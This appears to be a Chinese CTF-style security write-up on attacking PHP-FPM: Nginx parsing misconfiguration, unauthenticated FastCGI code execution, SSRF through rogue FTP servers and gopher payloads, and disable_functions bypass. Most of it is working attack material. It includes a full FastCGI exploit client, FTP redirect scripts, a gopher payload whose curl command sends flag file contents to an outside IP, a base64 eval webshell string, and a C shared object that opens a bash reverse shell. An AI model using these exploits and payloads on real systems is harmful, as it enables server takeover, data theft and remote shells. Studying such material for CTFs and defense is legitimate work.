PHP-FPM 是 FastCGI 的一个具体实现(协议解析器)
Nginx等服务器中间件将用户请求按照fastcgi的规则打包好通过TCP传给FPM,然后FPM按照fastcgi的协议将TCP流解析成真正的数据
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2
,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '1234 5', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost" , 'SERVER_PROTOCOL': 'HTTP/1.1' }
其中SCRIPT_FILENAME
的值就是要执行的文件
Nginx解析漏洞 该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞
1:由于nginx.conf
的错误配置导致nginx
把以.php
结尾的文件交给fastcgi
处理,为此可以构造upload/1.png/1.php
(1.png是上传的文件,包含一句话木马)
2:但是fastcgi
在处理1.php
文件时发现文件并不存在,这时php.ini
配置文件中cgi.fix_pathinfo=1
发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi
处理的文件就变成了/1.png
,最后将1.png
的内容当成php解析
漏洞复现地址:https://github.com/vulhub/vulhub/tree/master/nginx/nginx_parsing_vulnerability
php-fpm未授权导致的任意代码执行 PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,伪装成Web服务器中间件和 PHP-FPM 通信,这就造成了 PHP-FPM 的未授权访问漏洞
在此基础上,我们可以设置 PHP-FPM 的两个环境变量:PHP_VALUE
和PHP_ADMIN_VALUE
。它们的作用就是用来设置PHP配置项的
通过将PHP配置项auto_prepend_file
或auto_append_file
的值设置成php://input
,就能在执行SCRIPT_FILENAME
指向的文件时进行包含body内容,从而执行我们自定义的恶意代码
设置包含的条件还需要开启allow_url_include = On
(远程文件包含)
综合起来,如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '1234 5', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost" , 'SERVER_PROTOCOL': 'HTTP/1.1' 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' }
来自phith0n的攻击脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 import socketimport randomimport argparseimport sysfrom io import BytesIO PY2 = True if sys.version_info.major == 2 else False def bchr (i ): if PY2: return force_bytes(chr (i)) else : return bytes ([i])def bord (c ): if isinstance (c, int ): return c else : return ord (c)def force_bytes (s ): if isinstance (s, bytes ): return s else : return s.encode('utf-8' , 'strict' )def force_text (s ): if issubclass (type (s), str ): return s if isinstance (s, bytes ): s = str (s, 'utf-8' , 'strict' ) else : s = str (s) return sclass FastCGIClient : """A Fast-CGI Client for Python""" __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__ (self, host, port, timeout, keepalive ): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else : self.keepalive = 0 self.sock = None self.requests = dict () def __connect (self ): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) try : self.sock.connect((self.host, int (self.port))) except socket.error as msg: self.sock.close() self.sock = None print (repr (msg)) return False return True def __encodeFastCGIRecord (self, fcgi_type, content, requestid ): length = len (content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8 ) & 0xFF ) \ + bchr(requestid & 0xFF ) \ + bchr((length >> 8 ) & 0xFF ) \ + bchr(length & 0xFF ) \ + bchr(0 ) \ + bchr(0 ) \ + content return buf def __encodeNameValueParams (self, name, value ): nLen = len (name) vLen = len (value) record = b'' if nLen < 128 : record += bchr(nLen) else : record += bchr((nLen >> 24 ) | 0x80 ) \ + bchr((nLen >> 16 ) & 0xFF ) \ + bchr((nLen >> 8 ) & 0xFF ) \ + bchr(nLen & 0xFF ) if vLen < 128 : record += bchr(vLen) else : record += bchr((vLen >> 24 ) | 0x80 ) \ + bchr((vLen >> 16 ) & 0xFF ) \ + bchr((vLen >> 8 ) & 0xFF ) \ + bchr(vLen & 0xFF ) return record + name + value def __decodeFastCGIHeader (self, stream ): header = dict () header['version' ] = bord(stream[0 ]) header['type' ] = bord(stream[1 ]) header['requestId' ] = (bord(stream[2 ]) << 8 ) + bord(stream[3 ]) header['contentLength' ] = (bord(stream[4 ]) << 8 ) + bord(stream[5 ]) header['paddingLength' ] = bord(stream[6 ]) header['reserved' ] = bord(stream[7 ]) return header def __decodeFastCGIRecord (self, buffer ): header = buffer.read(int (self.__FCGI_HEADER_SIZE)) if not header: return False else : record = self.__decodeFastCGIHeader(header) record['content' ] = b'' if 'contentLength' in record.keys(): contentLength = int (record['contentLength' ]) record['content' ] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int (record['paddingLength' ])) return record def request (self, nameValuePairs={}, post='' ): if not self.__connect(): print ('connect failure! please check your fasctcgi-server !!' ) return requestId = random.randint(1 , (1 << 16 ) - 1 ) self.requests[requestId] = dict () request = b"" beginFCGIRecordContent = bchr(0 ) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0 ) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'' , requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'' , requestId) self.sock.send(request) self.requests[requestId]['state' ] = FastCGIClient.FCGI_STATE_SEND self.requests[requestId]['response' ] = b'' return self.__waitForResponse(requestId) def __waitForResponse (self, requestId ): data = b'' while True : buf = self.sock.recv(512 ) if not len (buf): break data += buf data = BytesIO(data) while True : response = self.__decodeFastCGIRecord(data) if not response: break if response['type' ] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state' ] = FastCGIClient.FCGI_STATE_ERROR if requestId == int (response['requestId' ]): self.requests[requestId]['response' ] += response['content' ] if response['type' ] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response' ] def __repr__ (self ): return "fastcgi connect host:{} port:{}" .format (self.host, self.port)if __name__ == '__main__' : parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.' ) parser.add_argument('host' , help ='Target host, such as 127.0.0.1' ) parser.add_argument('file' , help ='A php file absolute path, such as /usr/local/lib/php/System.php' ) parser.add_argument('-c' , '--code' , help ='What php code your want to execute' , default='<?php phpinfo(); exit; ?>' ) parser.add_argument('-p' , '--port' , help ='FastCGI port' , default=9000 , type =int ) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3 , 0 ) params = dict () documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE' : 'FastCGI/1.0' , 'REQUEST_METHOD' : 'POST' , 'SCRIPT_FILENAME' : documentRoot + uri.lstrip('/' ), 'SCRIPT_NAME' : uri, 'QUERY_STRING' : '' , 'REQUEST_URI' : uri, 'DOCUMENT_ROOT' : documentRoot, 'SERVER_SOFTWARE' : 'php/fcgiclient' , 'REMOTE_ADDR' : '127.0.0.1' , 'REMOTE_PORT' : '9985' , 'SERVER_ADDR' : '127.0.0.1' , 'SERVER_PORT' : '80' , 'SERVER_NAME' : "localhost" , 'SERVER_PROTOCOL' : 'HTTP/1.1' , 'CONTENT_TYPE' : 'application/text' , 'CONTENT_LENGTH' : "%d" % len (content), 'PHP_VALUE' : 'auto_prepend_file = php://input' , 'PHP_ADMIN_VALUE' : 'allow_url_include = On' } response = client.request(params, content) print (force_text(response))
1 python fpm.py pwn.challenge.ctf.show -p 28230 /var/www/html/index.php -c " <?php system ('ls /' ); exit ();?> "
其中有一点需要注意,FPM在某版本后配置文件添加了security.limit_extensions
选项,用于指定解析文件的后缀,并且默认值为.php,所以需要传入一个真实存在的php文件,否则会返回Access denied.
或File not found.
不过服务器上通常会存在一些php文件,可以用find / -name "*.php"
来查找
bypass-error_log 一般的攻击都是通过 auto_prepend_file , auto_append_file 或者 extension 实现的
1 2 3 if (preg_match ('/usr|auto|extension|dir/i' , $data )){ die ('error' ); }
当部分内容被禁用时,就需要在php的设置中找到可以执行代码,或者包含文件,或者写文件的配置
其中 error_log 这个配置可以保存php的报错信息,并写入到文件中,但是会被实体编码,可以通过 html_errors 设置是否实体编码
'PHP_VALUE': 'html_errors = Off\nerror_log = /var/www/html/1.php',
但是需要注意需要和有返回报错信息的函数互相配合使用,比如 fsockopen 函数
bypass-内存马 'PHP_ADMIN_VALUE': 'allow_url_include = On\nauto_prepend_file = "data://text/plain;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4="'
通过FTP攻击php-fpm 有的时候php-fpm并没有绑定在0.0.0.0上,而是127.0.0.1或其他地址,这个时候就需要通过ssrf来攻击php-fpm
file_put_contents 1 2 3 4 5 6 7 8 9 <?php error_reporting (0 );highlight_file (__FILE__ );$file = $_GET ['file' ];$content = $_GET ['content' ];file_put_contents ($file , $content );
在上面的例子中,一般是可以写入shell的,但是在不能写入文件的情况下呢?
看file_put_contents在php手册中的定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 file_put_contents (PHP 5 , PHP 7 , PHP 8 ) file_put_contents — 将数据写入文件file_put_contents ( string $filename , mixed $data , int $flags = 0 , ?resource $context = null ): int |false 和依次调用 fopen (),fwrite () 以及 fclose () 功能一样。
首先调用了fopen()
,而fopen可以打开文件或者 URL ,其中包括了ftp://
协议
在ftp中,分为主动模式和被动模式。简单来说,主动模式是服务端的20端口去连接客户端的指定端口,被动模式是客户端连接服务端的指定端口。其中的区别就是在哪一端开放端口
既然这样,那我们可以模拟一个被动模式的ftp客户端,指定ip端口为127.0.0.1:9000
,这样file_put_contents就会把数据包原封不动的传递给php-fpm,实现ssrf攻击fpm
模拟ftp的python脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0' ,5566 )) s.listen(1 ) conn, addr = s.accept() conn.send(b'220 welcome\n' ) conn.send(b'331 Please specify the password.\n' ) conn.send(b'230 Login successful.\n' ) conn.send(b'200 Switching to Binary mode.\n' ) conn.send(b'550 Could not get the file size.\n' ) conn.send(b'150 ok\n' ) conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n' ) conn.send(b'150 Permission denied.\n' ) conn.send(b'221 Goodbye.\n' ) conn.close()
通过Gopherus构造恶意payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 root@lewiserii:~/Gopherus-master ________ .__ / _____/ ____ ______ | |__ ___________ __ __ ______ / \ ___ / _ \\____ \| | \_/ __ \_ __ \ | \/ ___/ \ \_\ ( <_> ) |_> > Y \ ___/| | \/ | /\___ \ \______ /\____/| __/|___| /\___ >__| |____//____ > \/ |__| \/ \/ \/ author: $_SpyD3r_$ Give one file name which should be surely present in the server (prefer .php file)if you don't know press ENTER we have default one: index.php Terminal command to run: curl http://47.99.77.52:5588/?a=`cat /f*` Your gopher link is ready to do SSRF: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH93%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5D%04%00%3C%3Fphp%20system%28%27curl%20http%3A//47.99.77.52%3A5588/%3Fa%3D%60cat%20/f%2A%60%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00 -----------Made-by-SpyD3r-----------
payload:
注意ftp协议的格式
1 /?file= ftp://47.99 .77.52 :5566 /test&content= %01 %01 %00 %01 %00 %08 %00 %00 %00 %01 %00 %00 %00 %00 %00 %00 %01 %04 %00 %01 %00 %F6 %06 %00 %0 F%10 SERVER_SOFTWAREgo%20 /%20 fcgiclient%20 %0 B%09 REMOTE_ADDR127.0 .0.1 %0 F%08 SERVER_PROTOCOLHTTP/1.1 %0 E%02 CONTENT_LENGTH93 %0 E%04 REQUEST_METHODPOST%09 KPHP_VALUEallow_url_include%20 %3 D%20 On%0 Adisable_functions%20 %3 D%20 %0 Aauto_prepend_file%20 %3 D%20 php%3 A//input%0 F%09 SCRIPT_FILENAMEindex.php%0 D%01 DOCUMENT_ROOT/%00 %00 %00 %00 %00 %00 %01 %04 %00 %01 %00 %00 %00 %00 %01 %05 %00 %01 %00 %5 D%04 %00 %3 C%3 Fphp%20 system%28 %27 curl%20 http%3 A//47.99 .77.52 %3 A5588 /%3 Fa%3 D%60 cat%20 /f%2 A%60 %27 %29 %3 Bdie%28 %27 -----Made-by-SpyD3 r-----%0 A%27 %29 %3 B%3 F%3 E%00 %00 %00 %00
监听端口即可
1 2 3 4 5 6 7 8 9 root@dr0n1:~ Listening on 0.0.0.0 5588 Connection received on 124.223.158.81 33340 GET /?a=ctfshowd99cc801-ca48-4632-9cec-c87db8594278 HTTP/1.1 Host: 47.99.77.52:5588 User-Agent: curl/7.61.1 Accept: */*
FTP 仅起到了一个重定向 Payload 内容的作用
file_get_contents 1 2 3 <?php $contents = file_get_contents ($_GET ['viewFile' ]);file_put_contents ($_GET ['viewFile' ], $contents );
原理与上面是一样的,只不过将发送payload和重定向都放在了ftp上
第一次连接的时候返回通过Gopherus构造的payload,第二次连接的时候将客户端的连接重定向到 127.0.0.1:9000
使用的时候注意修改payload和第一次返回的ip(第53行)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import socketfrom urllib.parse import unquote payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%0C%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH93%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1FSCRIPT_FILENAME/usr/share/nginx/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%5D%04%00%3C%3Fphp%20system%28%27curl%20http%3A//47.99.77.52%3A5588/%3Fa%3D%60cat%20/f%2A%60%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00" ) payload = payload.encode('utf-8' ) host = '0.0.0.0' port = 5566 sk = socket.socket() sk.bind((host, port)) sk.listen(5 ) sk2 = socket.socket() sk2.bind((host, 5567 )) sk2.listen() count = 1 while 1 : conn, address = sk.accept() conn.send(b"200 \n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"220 ready\n" ) else : conn.send(b"200 ready\n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"215 \n" ) else : conn.send(b"200 \n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"213 3 \n" ) else : conn.send(b"300 \n" ) print (conn.recv(20 )) conn.send(b"200 \n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"227 47,99,77,52,0,5567\n" ) else : conn.send(b"227 127,0,0,1,0,9000\n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"125 \n" ) print ("建立连接!" ) conn2, address2 = sk2.accept() conn2.send(payload) conn2.close() print ("断开连接!" ) else : conn.send(b"150 \n" ) print (conn.recv(20 )) exit() if count == 1 : conn.send(b"226 \n" ) conn.close() count += 1
发送payload
?viewFile=ftp://47.99.77.52:5566/test
正常的输出应该如下,有第二次建立连接的过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 b'USER anonymous\r\n' b'TYPE I\r\n' b'SIZE /test\r\n' b'EPSV\r\n' b'PASV\r\n' b'RETR /test\r\n' 建立连接! 断开连接! b'USER anonymous\r\n' b'TYPE I\r\n' b'SIZE /test\r\n' b'EPSV\r\n' b'PASV\r\n' b'STOR /test\r\n'
攻击unix套接字模式下的php-fpm 以上的所有方法都是基于TCP通信方式进行攻击的。但是在php-fpm中还有一种unix domain socket通信方式,它是unix系统进程间通信(IPC)的一种被广泛采用方式,以文件(一般是.sock)作为socket的唯一标识(描述符),需要通信的两个进程引用同一个socket描述符文件就可以建立通道进行通信了
一般来说这种通信方式不能进行ssrf,因为没有经过网络协议层
加载so绕过disable_functions
两种通信方式都能使用此方法绕过
在CTF或者渗透测试中经常会遇到目标环境设置了 disable_functions 的情况,但是 PHP_ADMIN_VALUE 不可以设置 disable_functions ,因为这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中
但是我们可以参考 LD_PRELOAD 绕过的方式,上传一个恶意so文件,然后通过 PHP_VALUE 给 php.ini 添加一个 extender 扩展
制作恶意so文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #define _GNU_SOURCE #include <stdlib.h> #include <string.h> extern char ** environ; __attribute__ ((__constructor__)) void preload (void ) { int i; for (i = 0 ; environ[i]; ++i) { if (strstr (environ[i], "LD_PRELOAD" )) { environ[i][0 ] = '\0' ; } } system("bash -c 'exec bash -i &>/dev/tcp/IP/PORT <&1'" ); }
编译
gcc -c -fPIC hack.c -o hack && gcc --share hack -o hack.so
以下是修改过的 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75 ,可以生成payload,注意修改 PHP_VALUE 的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 import socketimport randomimport argparseimport sysfrom io import BytesIOfrom urllib.parse import quote PY2 = True if sys.version_info.major == 2 else False def bchr (i ): if PY2: return force_bytes(chr (i)) else : return bytes ([i])def bord (c ): if isinstance (c, int ): return c else : return ord (c)def force_bytes (s ): if isinstance (s, bytes ): return s else : return s.encode('utf-8' , 'strict' )def force_text (s ): if issubclass (type (s), str ): return s if isinstance (s, bytes ): s = str (s, 'utf-8' , 'strict' ) else : s = str (s) return sclass FastCGIClient : """A Fast-CGI Client for Python""" __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__ (self, host, port, timeout, keepalive ): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else : self.keepalive = 0 self.sock = None self.requests = dict () def __connect (self ): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) return True def __encodeFastCGIRecord (self, fcgi_type, content, requestid ): length = len (content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8 ) & 0xFF ) \ + bchr(requestid & 0xFF ) \ + bchr((length >> 8 ) & 0xFF ) \ + bchr(length & 0xFF ) \ + bchr(0 ) \ + bchr(0 ) \ + content return buf def __encodeNameValueParams (self, name, value ): nLen = len (name) vLen = len (value) record = b'' if nLen < 128 : record += bchr(nLen) else : record += bchr((nLen >> 24 ) | 0x80 ) \ + bchr((nLen >> 16 ) & 0xFF ) \ + bchr((nLen >> 8 ) & 0xFF ) \ + bchr(nLen & 0xFF ) if vLen < 128 : record += bchr(vLen) else : record += bchr((vLen >> 24 ) | 0x80 ) \ + bchr((vLen >> 16 ) & 0xFF ) \ + bchr((vLen >> 8 ) & 0xFF ) \ + bchr(vLen & 0xFF ) return record + name + value def __decodeFastCGIHeader (self, stream ): header = dict () header['version' ] = bord(stream[0 ]) header['type' ] = bord(stream[1 ]) header['requestId' ] = (bord(stream[2 ]) << 8 ) + bord(stream[3 ]) header['contentLength' ] = (bord(stream[4 ]) << 8 ) + bord(stream[5 ]) header['paddingLength' ] = bord(stream[6 ]) header['reserved' ] = bord(stream[7 ]) return header def __decodeFastCGIRecord (self, buffer ): header = buffer.read(int (self.__FCGI_HEADER_SIZE)) if not header: return False else : record = self.__decodeFastCGIHeader(header) record['content' ] = b'' if 'contentLength' in record.keys(): contentLength = int (record['contentLength' ]) record['content' ] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int (record['paddingLength' ])) return record def request (self, nameValuePairs={}, post='' ): if not self.__connect(): print ('connect failure! please check your fasctcgi-server !!' ) return requestId = random.randint(1 , (1 << 16 ) - 1 ) self.requests[requestId] = dict () request = b"" beginFCGIRecordContent = bchr(0 ) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0 ) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'' , requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'' , requestId) return request def __waitForResponse (self, requestId ): data = b'' while True : buf = self.sock.recv(512 ) if not len (buf): break data += buf data = BytesIO(data) while True : response = self.__decodeFastCGIRecord(data) if not response: break if response['type' ] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state' ] = FastCGIClient.FCGI_STATE_ERROR if requestId == int (response['requestId' ]): self.requests[requestId]['response' ] += response['content' ] if response['type' ] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response' ] def __repr__ (self ): return "fastcgi connect host:{} port:{}" .format (self.host, self.port)if __name__ == '__main__' : parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.' ) parser.add_argument('host' , help ='Target host, such as 127.0.0.1' ) parser.add_argument('file' , help ='A php file absolute path, such as /usr/local/lib/php/System.php' ) parser.add_argument('-c' , '--code' , help ='What php code your want to execute' , default='<?php phpinfo(); exit; ?>' ) parser.add_argument('-p' , '--port' , help ='FastCGI port' , default=9000 , type =int ) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3 , 0 ) params = dict () documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE' : 'FastCGI/1.0' , 'REQUEST_METHOD' : 'POST' , 'SCRIPT_FILENAME' : documentRoot + uri.lstrip('/' ), 'SCRIPT_NAME' : uri, 'QUERY_STRING' : '' , 'REQUEST_URI' : uri, 'DOCUMENT_ROOT' : documentRoot, 'SERVER_SOFTWARE' : 'php/fcgiclient' , 'REMOTE_ADDR' : '127.0.0.1' , 'REMOTE_PORT' : '9985' , 'SERVER_ADDR' : '127.0.0.1' , 'SERVER_PORT' : '80' , 'SERVER_NAME' : "localhost" , 'SERVER_PROTOCOL' : 'HTTP/1.1' , 'CONTENT_TYPE' : 'application/text' , 'CONTENT_LENGTH' : "%d" % len (content), 'PHP_VALUE' : 'unserialize_callback_func = system\nextension_dir = /tmp\nextension = hack.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ' , 'PHP_ADMIN_VALUE' : 'allow_url_include = On' } request_ssrf = quote(client.request(params, content)) print ("gopher://127.0.0.1:" + str (args.port) + "/_" + request_ssrf)
用法和原来一样
python fpm.py 127.0.0.1 -p 9001 /var/www/html/add_api.php -c "<?php phpinfo(); ?>"